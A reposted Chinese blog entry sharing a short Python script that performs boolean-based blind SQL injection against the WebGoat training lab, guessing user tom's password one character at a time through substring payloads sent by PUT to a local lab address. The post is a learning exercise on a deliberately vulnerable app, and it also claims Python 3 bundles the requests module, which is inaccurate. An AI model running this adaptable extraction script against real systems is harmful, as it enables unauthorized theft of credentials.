python实现sql盲注
生活随笔
收集整理的這篇文章主要介紹了
python实现sql盲注
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
背景介紹
本文這段python代碼之前發布在我的博客WebGoat (A1) SQL Injection (advanced)中,用于通過sql布爾盲注獲取WebGoat SQL Injection (advanced)第5頁的用戶tom的密碼。
代碼比較簡單 ,這里單獨拎出來主要是為了自己以后查閱方便。如果遇到其他注入問題,可以簡單修改本腳本。如果以后代碼有較大優化,會更新本文。
代碼
import requestsurl = "http://192.168.101.16:8222/WebGoat/SqlInjectionAdvanced/challenge" headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","Cookie": "JSESSIONID=VjGdZj9IvzWQ9BJFIEar2--CEun-GVI0GnBVU7nE",}keylist = [chr(i) for i in range(33, 127)] #包括數字、大小寫字母、特殊字符 answer = ''for i in range(1,24):for c in keylist:payload = "tom' and substring(password,"+str(i)+",1)='"+c+"'-- ss" #用substring逐位猜測密碼formdata = {"username_reg":payload,"email_reg":"123@123.com","password_reg":"12","confirm_password_reg":"12",}response = requests.put(url, data = formdata, headers = headers) #本題用的PUT方法傳輸客戶端參數,如果遇到其他題目用POST方法,則改為requests.postif response.text.find("already exists") != -1: #猜對了的話返回結果會包含already existsanswer = answer+cbreak print(answer) #打印結果順便感嘆一下requests模塊真好用。
我這里用的是python3,因為python3自帶requests模塊了,python2我看網上說也支持,但應該是要自己安裝的。
總結
以上是生活随笔為你收集整理的python实现sql盲注的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: javascript --- even
- 下一篇: kill 进程_结束进程,查看后台进程